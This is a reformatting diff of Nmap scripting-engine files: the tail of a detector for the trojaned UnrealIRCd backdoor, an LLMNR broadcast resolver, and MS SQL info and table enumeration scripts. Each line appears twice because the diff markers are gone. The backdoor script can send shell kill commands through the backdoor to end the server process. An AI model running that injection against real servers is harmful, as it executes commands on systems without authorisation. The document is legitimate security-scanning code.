data = ""
|
||||
while not string.find(data, unique) do
|
||||
status, response = socket:receive_bytes(0)
|
||||
if status then
|
||||
data = data .. response
|
||||
else
|
||||
-- If the server unexpectedly closes the connection, it
|
||||
-- is usually related to throttling. Therefore, we
|
||||
-- print a throttling warning.
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response)
|
||||
socket:close()
|
||||
return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
|
||||
end
|
||||
end
|
||||
-- Accumulate the response in the 'data' string
|
||||
status = true
|
||||
data = ""
|
||||
while not string.find(data, unique) do
|
||||
status, response = socket:receive_bytes(0)
|
||||
if status then
|
||||
data = data .. response
|
||||
else
|
||||
-- If the server unexpectedly closes the connection, it
|
||||
-- is usually related to throttling. Therefore, we
|
||||
-- print a throttling warning.
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response)
|
||||
socket:close()
|
||||
return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
|
||||
end
|
||||
end
|
||||
|
||||
-- Determine the elapsed time
|
||||
local elapsed = os.time(os.date('*t')) - time
|
||||
-- Determine the elapsed time
|
||||
local elapsed = os.time(os.date('*t')) - time
|
||||
|
||||
-- Let the user know that everything's working
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds")
|
||||
-- Let the user know that everything's working
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds")
|
||||
|
||||
-- Determine whether or not the vulnerability is present
|
||||
if(elapsed > (delay - delay_fudge)) then
|
||||
-- Check if the user wants to kill the server.
|
||||
if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...")
|
||||
-- Determine whether or not the vulnerability is present
|
||||
if(elapsed > (delay - delay_fudge)) then
|
||||
-- Check if the user wants to kill the server.
|
||||
if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...")
|
||||
|
||||
local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
|
||||
local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
|
||||
local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
|
||||
local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
|
||||
local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
|
||||
local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
|
||||
|
||||
-- Kill the process
|
||||
stdnse.print_debug(1, "Running kill command: %s", kill_command)
|
||||
socket:send(kill_command .. "\n")
|
||||
end
|
||||
-- Kill the process
|
||||
stdnse.print_debug(1, "Running kill command: %s", kill_command)
|
||||
socket:send(kill_command .. "\n")
|
||||
end
|
||||
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!")
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!")
|
||||
|
||||
-- Close the socket
|
||||
socket:close()
|
||||
-- Close the socket
|
||||
socket:close()
|
||||
|
||||
return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
|
||||
end
|
||||
return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
|
||||
end
|
||||
|
||||
-- Close the socket
|
||||
socket:close()
|
||||
-- Close the socket
|
||||
socket:close()
|
||||
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.")
|
||||
stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.")
|
||||
|
||||
return nil
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
@@ -37,11 +37,11 @@ For more information, see:
|
||||
--
|
||||
|
||||
prerule = function()
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
author = "Hani Benhabiles"
|
||||
@@ -55,30 +55,30 @@ categories = {"discovery", "safe", "broadcast"}
|
||||
-- @param hostname Hostname to query for.
|
||||
-- @return query Raw llmnr query.
|
||||
local llmnrQuery = function(hostname)
|
||||
local query = bin.pack(">S", math.random(0,65535)) -- transaction ID
|
||||
query = query .. bin.pack(">S", 0x0000) -- Flags: Standard Query
|
||||
query = query .. bin.pack(">S", 0x0001) -- Questions = 1
|
||||
query = query .. bin.pack(">S", 0x0000) -- Answer RRs = 0
|
||||
query = query .. bin.pack(">S", 0x0000) -- Authority RRs = 0
|
||||
query = query .. bin.pack(">S", 0x0000) -- Additional RRs = 0
|
||||
query = query .. bin.pack(">CAC", #hostname, hostname, 0x00) -- Hostname
|
||||
query = query .. bin.pack(">S", 0x0001) -- Type: Host Address
|
||||
query = query .. bin.pack(">S", 0x0001) -- Class: IN
|
||||
return query
|
||||
local query = bin.pack(">S", math.random(0,65535)) -- transaction ID
|
||||
query = query .. bin.pack(">S", 0x0000) -- Flags: Standard Query
|
||||
query = query .. bin.pack(">S", 0x0001) -- Questions = 1
|
||||
query = query .. bin.pack(">S", 0x0000) -- Answer RRs = 0
|
||||
query = query .. bin.pack(">S", 0x0000) -- Authority RRs = 0
|
||||
query = query .. bin.pack(">S", 0x0000) -- Additional RRs = 0
|
||||
query = query .. bin.pack(">CAC", #hostname, hostname, 0x00) -- Hostname
|
||||
query = query .. bin.pack(">S", 0x0001) -- Type: Host Address
|
||||
query = query .. bin.pack(">S", 0x0001) -- Class: IN
|
||||
return query
|
||||
end
|
||||
|
||||
--- Sends a llmnr query.
|
||||
-- @param query Query to send.
|
||||
local llmnrSend = function(query, mcast, mport)
|
||||
-- Multicast IP and UDP port
|
||||
local sock = nmap.new_socket()
|
||||
local status, err = sock:connect(mcast, mport, "udp")
|
||||
if not status then
|
||||
stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
sock:send(query)
|
||||
sock:close()
|
||||
-- Multicast IP and UDP port
|
||||
local sock = nmap.new_socket()
|
||||
local status, err = sock:connect(mcast, mport, "udp")
|
||||
if not status then
|
||||
stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
sock:send(query)
|
||||
sock:close()
|
||||
end
|
||||
|
||||
-- Listens for llmnr responses
|
||||
@@ -86,130 +86,130 @@ end
|
||||
-- @param timeout Maximum time to listen.
|
||||
-- @param result table to put responses into.
|
||||
local llmnrListen = function(interface, timeout, result)
|
||||
local condvar = nmap.condvar(result)
|
||||
local start = nmap.clock_ms()
|
||||
local listener = nmap.new_socket()
|
||||
local status, l3data, _
|
||||
local condvar = nmap.condvar(result)
|
||||
local start = nmap.clock_ms()
|
||||
local listener = nmap.new_socket()
|
||||
local status, l3data, _
|
||||
|
||||
-- packets that are sent to our UDP port number 5355
|
||||
local filter = 'dst host ' .. interface.address .. ' and udp src port 5355'
|
||||
listener:set_timeout(100)
|
||||
listener:pcap_open(interface.device, 1024, true, filter)
|
||||
-- packets that are sent to our UDP port number 5355
|
||||
local filter = 'dst host ' .. interface.address .. ' and udp src port 5355'
|
||||
listener:set_timeout(100)
|
||||
listener:pcap_open(interface.device, 1024, true, filter)
|
||||
|
||||
while (nmap.clock_ms() - start) < timeout do
|
||||
status, _, _, l3data = listener:pcap_receive()
|
||||
if status then
|
||||
local p = packet.Packet:new(l3data, #l3data)
|
||||
-- Skip IP and UDP headers
|
||||
local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1)
|
||||
-- Flags
|
||||
local _, trans = bin.unpack(">S", llmnr)
|
||||
local _, flags = bin.unpack(">S", llmnr, 3)
|
||||
-- Questions number
|
||||
local _, questions = bin.unpack(">S", llmnr, 5)
|
||||
while (nmap.clock_ms() - start) < timeout do
|
||||
status, _, _, l3data = listener:pcap_receive()
|
||||
if status then
|
||||
local p = packet.Packet:new(l3data, #l3data)
|
||||
-- Skip IP and UDP headers
|
||||
local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1)
|
||||
-- Flags
|
||||
local _, trans = bin.unpack(">S", llmnr)
|
||||
local _, flags = bin.unpack(">S", llmnr, 3)
|
||||
-- Questions number
|
||||
local _, questions = bin.unpack(">S", llmnr, 5)
|
||||
|
||||
-- Make verifications
|
||||
-- Message == Response bit
|
||||
-- and 1 Question (hostname we requested) and
|
||||
if (bit.rshift(flags, 15) == 1) and questions == 0x01 then
|
||||
stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src)
|
||||
-- Skip header's 12 bytes
|
||||
-- extract host length
|
||||
local index, qlen = bin.unpack(">C", llmnr, 13)
|
||||
-- Skip hostname, null byte, type field and class field
|
||||
index = index + qlen + 1 + 2 + 2
|
||||
-- Make verifications
|
||||
-- Message == Response bit
|
||||
-- and 1 Question (hostname we requested) and
|
||||
if (bit.rshift(flags, 15) == 1) and questions == 0x01 then
|
||||
stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src)
|
||||
-- Skip header's 12 bytes
|
||||
-- extract host length
|
||||
local index, qlen = bin.unpack(">C", llmnr, 13)
|
||||
-- Skip hostname, null byte, type field and class field
|
||||
index = index + qlen + 1 + 2 + 2
|
||||
|
||||
-- Now, answer record
|
||||
local response, alen = {}
|
||||
index, alen = bin.unpack(">C", llmnr, index)
|
||||
-- Extract hostname with the correct case sensivity.
|
||||
index, response.hostname = bin.unpack(">A".. alen, llmnr, index)
|
||||
-- Now, answer record
|
||||
local response, alen = {}
|
||||
index, alen = bin.unpack(">C", llmnr, index)
|
||||
-- Extract hostname with the correct case sensivity.
|
||||
index, response.hostname = bin.unpack(">A".. alen, llmnr, index)
|
||||
|
||||
-- skip null byte, type, class, ttl, dlen
|
||||
index = index + 1 + 2 + 2 + 4 + 2
|
||||
index, response.address = bin.unpack("<I", llmnr, index)
|
||||
response.address = ipOps.fromdword(response.address)
|
||||
table.insert(result, response)
|
||||
else
|
||||
stdnse.print_debug("%s skipped llmnr response.", SCRIPT_NAME)
|
||||
end
|
||||
end
|
||||
-- skip null byte, type, class, ttl, dlen
|
||||
index = index + 1 + 2 + 2 + 4 + 2
|
||||
index, response.address = bin.unpack("<I", llmnr, index)
|
||||
response.address = ipOps.fromdword(response.address)
|
||||
table.insert(result, response)
|
||||
else
|
||||
stdnse.print_debug("%s skipped llmnr response.", SCRIPT_NAME)
|
||||
end
|
||||
end
|
||||
condvar("signal")
|
||||
end
|
||||
condvar("signal")
|
||||
end
|
||||
|
||||
-- Returns the network interface used to send packets to a target host.
|
||||
--@param target host to which the interface is used.
|
||||
--@return interface Network interface used for target host.
|
||||
local getInterface = function(target)
|
||||
-- First, create dummy UDP connection to get interface
|
||||
local sock = nmap.new_socket()
|
||||
local status, err = sock:connect(target, "12345", "udp")
|
||||
if not status then
|
||||
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
local status, address, _, _, _ = sock:get_info()
|
||||
if not status then
|
||||
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
for _, interface in pairs(nmap.list_interfaces()) do
|
||||
if interface.address == address then
|
||||
return interface
|
||||
end
|
||||
-- First, create dummy UDP connection to get interface
|
||||
local sock = nmap.new_socket()
|
||||
local status, err = sock:connect(target, "12345", "udp")
|
||||
if not status then
|
||||
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
local status, address, _, _, _ = sock:get_info()
|
||||
if not status then
|
||||
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
for _, interface in pairs(nmap.list_interfaces()) do
|
||||
if interface.address == address then
|
||||
return interface
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
action = function()
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
timeout = (timeout or 3) * 1000
|
||||
local hostname = stdnse.get_script_args(SCRIPT_NAME .. ".hostname")
|
||||
local result, output = {}, {}
|
||||
local mcast = "224.0.0.252"
|
||||
local mport = 5355
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
timeout = (timeout or 3) * 1000
|
||||
local hostname = stdnse.get_script_args(SCRIPT_NAME .. ".hostname")
|
||||
local result, output = {}, {}
|
||||
local mcast = "224.0.0.252"
|
||||
local mport = 5355
|
||||
|
||||
-- Check if a valid hostname was provided
|
||||
if not hostname or #hostname == 0 then
|
||||
stdnse.print_debug("%s no hostname was provided.", SCRIPT_NAME)
|
||||
return
|
||||
end
|
||||
-- Check if a valid hostname was provided
|
||||
if not hostname or #hostname == 0 then
|
||||
stdnse.print_debug("%s no hostname was provided.", SCRIPT_NAME)
|
||||
return
|
||||
end
|
||||
|
||||
-- Check if a valid interface was provided
|
||||
local interface = nmap.get_interface()
|
||||
if interface then
|
||||
interface = nmap.get_interface_info(interface)
|
||||
else
|
||||
interface = getInterface(mcast)
|
||||
end
|
||||
if not interface then
|
||||
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
|
||||
end
|
||||
-- Check if a valid interface was provided
|
||||
local interface = nmap.get_interface()
|
||||
if interface then
|
||||
interface = nmap.get_interface_info(interface)
|
||||
else
|
||||
interface = getInterface(mcast)
|
||||
end
|
||||
if not interface then
|
||||
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
|
||||
end
|
||||
|
||||
-- Launch listener thread
|
||||
stdnse.new_thread(llmnrListen, interface, timeout, result)
|
||||
-- Craft raw query
|
||||
local query = llmnrQuery(hostname)
|
||||
-- Small sleep so the listener doesn't miss the response
|
||||
stdnse.sleep(0.5)
|
||||
-- Send query
|
||||
llmnrSend(query, mcast, mport)
|
||||
-- Wait for listener thread to finish
|
||||
local condvar = nmap.condvar(result)
|
||||
condvar("wait")
|
||||
-- Launch listener thread
|
||||
stdnse.new_thread(llmnrListen, interface, timeout, result)
|
||||
-- Craft raw query
|
||||
local query = llmnrQuery(hostname)
|
||||
-- Small sleep so the listener doesn't miss the response
|
||||
stdnse.sleep(0.5)
|
||||
-- Send query
|
||||
llmnrSend(query, mcast, mport)
|
||||
-- Wait for listener thread to finish
|
||||
local condvar = nmap.condvar(result)
|
||||
condvar("wait")
|
||||
|
||||
-- Check responses
|
||||
if #result > 0 then
|
||||
for _, response in pairs(result) do
|
||||
table.insert(output, response.hostname.. " : " .. response.address)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(response.address)
|
||||
end
|
||||
-- Check responses
|
||||
if #result > 0 then
|
||||
for _, response in pairs(result) do
|
||||
table.insert(output, response.hostname.. " : " .. response.address)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(response.address)
|
||||
end
|
||||
if ( not(target.ALLOW_NEW_TARGETS) ) then
|
||||
table.insert(output,"Use the newtargets script-arg to add the results as targets")
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
if ( not(target.ALLOW_NEW_TARGETS) ) then
|
||||
table.insert(output,"Use the newtargets script-arg to add the results as targets")
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -105,7 +105,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
||||
-- added script arg to prevent script from connecting to ports that
|
||||
-- weren't in original Nmap scan <chris3E3@gmail.com>)
|
||||
-- rev 1.5 (2011-02-01 - Moved discovery functionality into ms-sql-discover.nse and
|
||||
-- broadcast-ms-sql-discovery.nse <chris3E3@gmail.com>)
|
||||
-- broadcast-ms-sql-discovery.nse <chris3E3@gmail.com>)
|
||||
|
||||
author = "Chris Woodbury, Thomas Buchanan"
|
||||
|
||||
@@ -115,75 +115,75 @@ categories = {"default", "discovery", "safe"}
|
||||
|
||||
|
||||
hostrule = function(host)
|
||||
if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then
|
||||
return mssql.Helper.GetDiscoveredInstances( host ) ~= nil
|
||||
else
|
||||
local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} )
|
||||
local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} )
|
||||
-- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open
|
||||
local smbPortNumber = smb.get_port( host )
|
||||
if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then
|
||||
return mssql.Helper.GetDiscoveredInstances( host ) ~= nil
|
||||
else
|
||||
local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} )
|
||||
local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} )
|
||||
-- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open
|
||||
local smbPortNumber = smb.get_port( host )
|
||||
|
||||
if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or
|
||||
(sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or
|
||||
(sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or
|
||||
(smbPortNumber ~= nil) ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or
|
||||
(sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or
|
||||
(sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or
|
||||
(smbPortNumber ~= nil) ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
--- Adds a label and value to an output table. If the value is a boolean, it is
|
||||
-- converted to Yes/No; if the value is nil, nothing is added to the table.
|
||||
local function add_to_output_table( outputTable, outputLabel, outputData )
|
||||
if outputData == nil then return end
|
||||
if outputData == nil then return end
|
||||
|
||||
if outputData == true then
|
||||
outputData = "Yes"
|
||||
elseif outputData == false then
|
||||
outputData = "No"
|
||||
end
|
||||
if outputData == true then
|
||||
outputData = "Yes"
|
||||
elseif outputData == false then
|
||||
outputData = "No"
|
||||
end
|
||||
|
||||
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
|
||||
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
|
||||
end
|
||||
|
||||
|
||||
--- Returns formatted output for the given version data
|
||||
local function create_version_output_table( versionInfo )
|
||||
local versionOutput = {}
|
||||
local versionOutput = {}
|
||||
|
||||
versionOutput["name"] = "Version: " .. versionInfo:ToString()
|
||||
if ( versionInfo.source ~= "SSRP" ) then
|
||||
add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber )
|
||||
end
|
||||
add_to_output_table( versionOutput, "Product", versionInfo.productName )
|
||||
add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel )
|
||||
add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched )
|
||||
versionOutput["name"] = "Version: " .. versionInfo:ToString()
|
||||
if ( versionInfo.source ~= "SSRP" ) then
|
||||
add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber )
|
||||
end
|
||||
add_to_output_table( versionOutput, "Product", versionInfo.productName )
|
||||
add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel )
|
||||
add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched )
|
||||
|
||||
return versionOutput
|
||||
return versionOutput
|
||||
end
|
||||
|
||||
|
||||
--- Returns formatted output for the given instance
|
||||
local function create_instance_output_table( instance )
|
||||
|
||||
-- if we didn't get anything useful (due to errors or the port not actually
|
||||
-- being SQL Server), don't report anything
|
||||
if not ( instance.instanceName or instance.version ) then return nil end
|
||||
-- if we didn't get anything useful (due to errors or the port not actually
|
||||
-- being SQL Server), don't report anything
|
||||
if not ( instance.instanceName or instance.version ) then return nil end
|
||||
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
|
||||
add_to_output_table( instanceOutput, "Instance name", instance.instanceName )
|
||||
if instance.version then
|
||||
local versionOutput = create_version_output_table( instance.version )
|
||||
table.insert( instanceOutput, versionOutput )
|
||||
end
|
||||
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
|
||||
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
|
||||
add_to_output_table( instanceOutput, "Clustered", instance.isClustered )
|
||||
add_to_output_table( instanceOutput, "Instance name", instance.instanceName )
|
||||
if instance.version then
|
||||
local versionOutput = create_version_output_table( instance.version )
|
||||
table.insert( instanceOutput, versionOutput )
|
||||
end
|
||||
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
|
||||
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
|
||||
add_to_output_table( instanceOutput, "Clustered", instance.isClustered )
|
||||
|
||||
return instanceOutput
|
||||
return instanceOutput
|
||||
|
||||
end
|
||||
|
||||
@@ -191,74 +191,74 @@ end
|
||||
--- Processes a single instance, attempting to determine its version, etc.
|
||||
local function process_instance( instance )
|
||||
|
||||
local foundVersion = false
|
||||
local ssnetlibVersion
|
||||
local foundVersion = false
|
||||
local ssnetlibVersion
|
||||
|
||||
-- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll
|
||||
-- connect to the instance to get an accurate version number
|
||||
if ( instance:HasNetworkProtocols() ) then
|
||||
local ssnetlibVersion
|
||||
foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance )
|
||||
if ( foundVersion ) then
|
||||
instance.version = ssnetlibVersion
|
||||
stdnse.print_debug( 1, "%s: Retrieved SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
|
||||
else
|
||||
stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
|
||||
end
|
||||
end
|
||||
-- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll
|
||||
-- connect to the instance to get an accurate version number
|
||||
if ( instance:HasNetworkProtocols() ) then
|
||||
local ssnetlibVersion
|
||||
foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance )
|
||||
if ( foundVersion ) then
|
||||
instance.version = ssnetlibVersion
|
||||
stdnse.print_debug( 1, "%s: Retrieved SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
|
||||
else
|
||||
stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
|
||||
end
|
||||
end
|
||||
|
||||
-- If we didn't get a version from SSNetLib, give the user some detail as to why
|
||||
if ( not foundVersion ) then
|
||||
if ( not instance:HasNetworkProtocols() ) then
|
||||
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
|
||||
end
|
||||
if ( instance.version ) then
|
||||
stdnse.print_debug( 1, "%s: Using version number from SSRP response for %s.", SCRIPT_NAME, instance:GetName() )
|
||||
else
|
||||
stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() )
|
||||
end
|
||||
end
|
||||
-- If we didn't get a version from SSNetLib, give the user some detail as to why
|
||||
if ( not foundVersion ) then
|
||||
if ( not instance:HasNetworkProtocols() ) then
|
||||
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
|
||||
end
|
||||
if ( instance.version ) then
|
||||
stdnse.print_debug( 1, "%s: Using version number from SSRP response for %s.", SCRIPT_NAME, instance:GetName() )
|
||||
else
|
||||
stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() )
|
||||
end
|
||||
end
|
||||
|
||||
-- Give some version info back to Nmap
|
||||
if ( instance.port and instance.version ) then
|
||||
instance.version:PopulateNmapPortVersion( instance.port )
|
||||
nmap.set_port_version( instance.host, instance.port)
|
||||
end
|
||||
-- Give some version info back to Nmap
|
||||
if ( instance.port and instance.version ) then
|
||||
instance.version:PopulateNmapPortVersion( instance.port )
|
||||
nmap.set_port_version( instance.host, instance.port)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function( host )
|
||||
local scriptOutput = {}
|
||||
local scriptOutput = {}
|
||||
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host )
|
||||
-- if no instances were targeted, then display info on all
|
||||
if ( not status ) then
|
||||
if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then
|
||||
mssql.Helper.Discover( host )
|
||||
end
|
||||
instanceList = mssql.Helper.GetDiscoveredInstances( host )
|
||||
end
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host )
|
||||
-- if no instances were targeted, then display info on all
|
||||
if ( not status ) then
|
||||
if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then
|
||||
mssql.Helper.Discover( host )
|
||||
end
|
||||
instanceList = mssql.Helper.GetDiscoveredInstances( host )
|
||||
end
|
||||
|
||||
|
||||
if ( not instanceList ) then
|
||||
return stdnse.format_output( false, instanceList or "" )
|
||||
else
|
||||
for _, instance in ipairs( instanceList ) do
|
||||
if instance.serverName then
|
||||
table.insert(scriptOutput, string.format( "Windows server name: %s", instance.serverName ))
|
||||
break
|
||||
end
|
||||
end
|
||||
for _, instance in pairs( instanceList ) do
|
||||
process_instance( instance )
|
||||
local instanceOutput = create_instance_output_table( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( not instanceList ) then
|
||||
return stdnse.format_output( false, instanceList or "" )
|
||||
else
|
||||
for _, instance in ipairs( instanceList ) do
|
||||
if instance.serverName then
|
||||
table.insert(scriptOutput, string.format( "Windows server name: %s", instance.serverName ))
|
||||
break
|
||||
end
|
||||
end
|
||||
for _, instance in pairs( instanceList ) do
|
||||
process_instance( instance )
|
||||
local instanceOutput = create_instance_output_table( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
end
|
||||
|
||||
|
||||
@@ -54,7 +54,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
||||
-- (default 5). If set to zero or less all tables are returned.
|
||||
--
|
||||
-- @args ms-sql-tables.keywords If set shows only tables or columns matching
|
||||
-- the keywords
|
||||
-- the keywords
|
||||
--
|
||||
-- @output
|
||||
-- | ms-sql-tables:
|
||||
@@ -84,13 +84,13 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
||||
|
||||
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 04/02/2010 - v0.2
|
||||
-- - Added support for filters
|
||||
-- - Changed output formatting of restrictions
|
||||
-- - Added parameter information in output if parameters are using their
|
||||
-- defaults.
|
||||
-- - Added support for filters
|
||||
-- - Changed output formatting of restrictions
|
||||
-- - Added parameter information in output if parameters are using their
|
||||
-- defaults.
|
||||
-- Revised 02/01/2011 - v0.3 (Chris Woodbury)
|
||||
-- - Added ability to run against all instances on a host;
|
||||
-- - Added compatibility with changes in mssql.lua
|
||||
-- - Added ability to run against all instances on a host;
|
||||
-- - Added compatibility with changes in mssql.lua
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
@@ -104,169 +104,169 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
||||
|
||||
local function process_instance( instance )
|
||||
|
||||
local status, result, dbs, tables
|
||||
local status, result, dbs, tables
|
||||
|
||||
local output = {}
|
||||
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
|
||||
local db_query
|
||||
local done_dbs = {}
|
||||
local db_limit, tbl_limit
|
||||
local output = {}
|
||||
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
|
||||
local db_query
|
||||
local done_dbs = {}
|
||||
local db_limit, tbl_limit
|
||||
|
||||
local DB_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} )
|
||||
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5
|
||||
local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } )
|
||||
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2
|
||||
local keywords_filter = ""
|
||||
local DB_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} )
|
||||
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5
|
||||
local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } )
|
||||
and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2
|
||||
local keywords_filter = ""
|
